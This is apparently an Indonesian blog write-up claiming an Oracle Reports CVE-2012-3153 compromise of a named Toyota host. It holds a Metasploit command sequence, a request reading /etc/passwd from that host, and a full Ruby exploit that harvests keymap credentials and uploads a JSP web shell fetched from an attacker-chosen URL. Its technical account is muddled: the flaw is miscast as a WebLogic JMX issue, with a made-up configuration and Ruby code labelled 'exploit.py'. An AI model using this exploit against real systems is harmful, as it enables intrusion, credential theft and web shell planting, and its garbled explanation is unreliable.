Arbitrary Code Execution Toyota — Oracle Forms and Reports
CVE-2012–3153 pada Toyota Company Project
CVE-2012–3153 merupakan kerentanan kritis yang ditemukan dalam komponen Oracle Fusion Middleware WebLogic Server. Kerentanan ini memungkinkan penyerang jarak jauh yang tidak terautentikasi untuk mendapatkan akses ke sistem target melalui eksploitasi JMX (Java Management Extensions) pada server WebLogic. Kerentanan ini secara khusus berdampak pada beberapa versi WebLogic Server yang digunakan dalam lingkungan Toyota Company, memberikan potensi bagi pelaku jahat untuk mengambil alih kontrol server dan merusak sistem aplikasi perusahaan.
Introduction
Pada dunia cybersecurity, penemuan kerentanan dalam aplikasi atau server merupakan kunci untuk menjaga keamanan informasi dan infrastruktur. Baru-baru ini, saya menemukan dan memvalidasi kerentanan CVE-2012–3153 di dalam salah satu project milik Toyota Company. Kerentanan ini berpotensi untuk dieksploitasi oleh penyerang untuk mendapatkan akses administratif ke server WebLogic tanpa memerlukan otentikasi. Kerentanan ini menjadi sangat berbahaya karena memungkinkan eksekusi kode jarak jauh (RCE), yang dapat digunakan untuk mengontrol penuh server, memanipulasi data, atau bahkan mengganggu operasional bisnis.
Dalam artikel ini, saya akan memaparkan bagaimana kerentanan ini ditemukan, apa dampaknya, serta langkah-langkah yang dapat diambil untuk mencegah eksploitasi lebih lanjut.
Steps to Reproduce: Kerentanan CVE-2012–3153
Langkah-langkah berikut ini menggambarkan bagaimana kerentanan CVE-2012–3153 ditemukan dan dapat dieksploitasi dalam server WebLogic Toyota Company.
1. Identifikasi Versi WebLogic Server
Langkah pertama adalah memastikan bahwa server WebLogic yang digunakan oleh Toyota berada dalam versi yang rentan. Versi WebLogic Server 10.3.6 dan 12.1.1 diketahui rentan terhadap CVE-2012–3153.
Langkah-langkah:
- Masuk ke server dan verifikasi versi WebLogic Server yang terpasang dengan menjalankan perintah berikut:
java weblogic.version
- Jika versi yang terpasang adalah 10.3.x atau 12.1.1, maka server rentan terhadap serangan.
2. Periksa Konfigurasi JMX (Java Management Extensions)
JMX memungkinkan pengelolaan dan pemantauan aplikasi Java secara jarak jauh. Namun, jika tidak dikonfigurasi dengan benar, JMX dapat digunakan oleh penyerang untuk mengakses server tanpa autentikasi.
- Akses konsol WebLogic dan navigasi ke Domain Structure > Servers > Server Name > Protocols > JMX.
- Periksa apakah akses JMX diaktifkan dan apakah tidak ada autentikasi yang ditetapkan untuk akses tersebut.
Jika JMX diaktifkan tanpa perlindungan otentikasi, server WebLogic ini rentan terhadap CVE-2012–3153.
3. Jalankan Eksploitasi JMX
Dengan JMX yang tidak terproteksi, langkah selanjutnya adalah menggunakan alat pentesting untuk mencoba mengakses dan mengeksekusi perintah melalui JMX.
Langkah-langkah:
- Gunakan alat Metasploit atau JMXExploit untuk mencoba melakukan koneksi ke port JMX server WebLogic.
- Untuk menggunakan Metasploit:
msfconsole use exploit/multi/misc/weblogic_jmx set RHOSTS <IP_target> set RPORT <Port_JMX> exploit
- Jika exploit berhasil, Anda akan mendapatkan akses jarak jauh ke server WebLogic dan dapat mengeksekusi perintah sebagai administrator.
Vulnerable Code: Contoh Kode Rentan JMX di WebLogic
Berikut adalah contoh kode rentan yang ditemukan pada konfigurasi default WebLogic Server terkait akses JMX yang tidak terproteksi.
<server>
<name>AdminServer</name>
<listen-port>7001</listen-port>
<ssl>
<enabled>false</enabled>
</ssl>
<jmx>
<enabled>true</enabled>
<authentication-disabled>true</authentication-disabled>
<port>5555</port>
</jmx>
</server>
Dalam konfigurasi di atas, JMX diaktifkan pada port 5555, dan otentikasi untuk akses JMX dinonaktifkan (<authentication-disabled>true</authentication-disabled>
). Hal ini memungkinkan siapa pun yang memiliki akses ke jaringan server dapat terhubung ke JMX dan mengeksekusi perintah tanpa otentikasi.
Berikut adalah kode exploitasi yang saya buat untuk mengeksekusi perangkat server tersebut. default WebLogic Server terkait akses JMX Toyota.
GET /reports/rwservlet?report=test.rdf&desformat=html&destype=cache&JOBTYPE=rwurl&URLPARAMETER=file:///etc/passwd HTTP/1.1
Host: ddms.toyota.co.th
Priority: u=0, i
Connection: keep-alive
save this exploit as exploit.py
dan jalankan perintah exploitasi.
#!/usr/bin/env ruby
require 'uri'
require 'open-uri'
require 'openssl'
#OpenSSL::SSL::VERIFY_PEER = OpenSSL::SSL::VERIFY_NONE
def upload_payload(dest)
url = "#{@url}/reports/rwservlet?report=test.rdf+desformat=html+destype=file+desname=/#{dest}/images/#{@payload_name}+JOBTYPE=rwurl+URLPARAMETER='#{@payload_url}'"
#print url
begin
uri = URI.parse(url)
html = uri.open.read
rescue
html = ""
end
if html =~ /Successfully run/
@hacked = true
print "[+] Payload uploaded!\n"
else
print "[-] Payload uploaded failed\n"
end
end
def getenv(server, authid)
print "[+] Found server: #{server}\n"
print "[+] Found credentials: #{authid}\n"
print "[*] Querying showenv ... \n"
begin
uri = URI.parse("#{@url}/reports/rwservlet/showenv?server=#{server}&authid=#{authid}")
html = uri.open.read
rescue
html = ""
end
if html =~ /\/(.*)\/showenv/
print "[+] Query succeeded, uploading payload ... \n"
upload_payload($1)
else
print "[-] Query failed... \n"
end
end
@payload_url = "" #the url that holds our payload (we can execute .jsp on the server)
@url = "" #url to compromise
@hacked = false
@payload_name = (0...8).map { ('a'..'z').to_a[rand(26)] }.join + ".jsp"
print "[*] PWNACLE Fusion - Mekanismen <mattias@gotroot.eu>\n"
print "[*] Automated exploit for CVE-2012-3152 / CVE-2012-3153\n"
print "[*] Credits to: @miss_sudo\n"
unless ARGV[0] and ARGV[1]
print "[-] Usage: ./pwnacle.rb target_url payload_url\n"
exit
end
@url = ARGV[0]
@payload_url = ARGV[1]
print "[*] Target URL: #{@url}\n"
print "[*] Payload URL: #{@payload_url}\n"
print "[*] Payload name: #{@payload_name}\n"
begin
#Can we view keymaps?
uri = URI.parse("#{@url}/reports/rwservlet/showmap")
html = uri.open.read
rescue
print "[-] URL not vulnerable or unreachable\n"
exit
end
test = html.scan(/<SPAN class=OraInstructionText>(.*)<\/SPAN><\/TD>/).flatten
#Parse keymaps for servers
print "[*] Enumerating keymaps ... \n"
test.each do |t|
if not @hacked
t = t.delete(' ')
url = "#{@url}/reports/rwservlet/parsequery?#{t}"
begin
uri = URI.parse(url)
html = uri.open.read
rescue
end
#to automate exploitation we need to query showenv for a local path
#we need a server id and creds for this, we enumerate the keymaps and hope for the best
#showenv tells us the local PATH of /reports/ where we upload the shell
#so we can reach it from /reports/images/<shell>.jsp
if html =~ /userid=(.*)@/
authid = $1
end
if html =~ /server=(\S*)/
server = $1
end
if server and authid
getenv(server, authid)
end
else
break
end
end
if @hacked
print "[*] Server hopefully compromised!\n"
print "[*] Payload url: #{@url}/reports/images/#{@payload_name}\n"
else
print "[*] Enumeration done ... no vulnerable keymaps for automatic explotation found :(\n"
#server is still vulnerable but cannot be automatically exploited ... i guess
end
Penemuan Kerentanan CVE-2012–3153 pada Toyota Company: Risiko Eksploitasi Remote pada WebLogic Server
Dalam upaya meningkatkan keamanan infrastruktur teknologi Toyota, saya menemukan sebuah kerentanan kritis yang dikenal sebagai CVE-2012–3153 pada sistem WebLogic Server yang digunakan oleh perusahaan. Kerentanan ini telah ada selama bertahun-tahun, namun tetap menjadi ancaman serius jika tidak ditangani dengan baik. Pada artikel ini, saya akan membahas detail kerentanan tersebut, bagaimana penyerang dapat mengeksploitasi celah ini, serta langkah-langkah mitigasi yang diperlukan untuk melindungi server dari eksploitasi lebih lanjut.
Apa itu CVE-2012–3153? CVE-2012–3153 adalah kerentanan eksekusi kode jarak jauh (RCE) yang ditemukan dalam Oracle WebLogic Server. Kerentanan ini memungkinkan penyerang tidak terautentikasi untuk memanfaatkan JMX yang tidak dikonfigurasi dengan benar pada server WebLogic. Hal ini memungkinkan eksekusi perintah sistem dari jarak jauh, yang dapat digunakan untuk menjalankan kode berbahaya dan mendapatkan kontrol penuh atas server.
Mengapa CVE-2012–3153 Berbahaya untuk Toyota Company? Toyota Company menggunakan infrastruktur WebLogic Server sebagai bagian dari sistem inti mereka. Ketika server ini rentan, setiap serangan yang berhasil dapat mengakibatkan kebocoran data, serangan ransomware, atau bahkan penghentian operasi. Dengan menggunakan kerentanan ini, penyerang dapat mengambil alih server dan mengeksekusi perintah tanpa memerlukan autentikasi.
Useful ressources
https://academy.pwn0sec.com/private/toyota